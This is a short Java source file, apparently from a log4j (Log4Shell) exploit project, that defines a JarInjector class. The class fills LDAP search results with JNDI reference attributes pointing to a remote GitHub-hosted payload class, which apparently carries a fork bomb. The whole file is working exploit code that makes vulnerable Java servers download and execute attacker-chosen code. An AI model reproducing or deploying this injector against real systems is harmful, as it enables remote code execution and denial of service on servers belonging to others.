package me.func.exploit.behavior;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import me.func.payload.Exploit;

public class JarInjector implements Injector {

	private static final String EXPLOIT_URL =
			"https://raw.githubusercontent.com/funcid/log4j-exploit-with-fork-bomb/master/payload/src/main/java/me/func/payload/Exploit.java";

	@Override
	public void send(InMemoryInterceptedSearchResult result, Entry entry) {

		entry.addAttribute("javaClassName", Exploit.class.getName());
		entry.addAttribute("javaCodeBase", EXPLOIT_URL);
		entry.addAttribute("objectClass", "javaNamingReference");
		entry.addAttribute("javaFactory", "anything");

	}
}
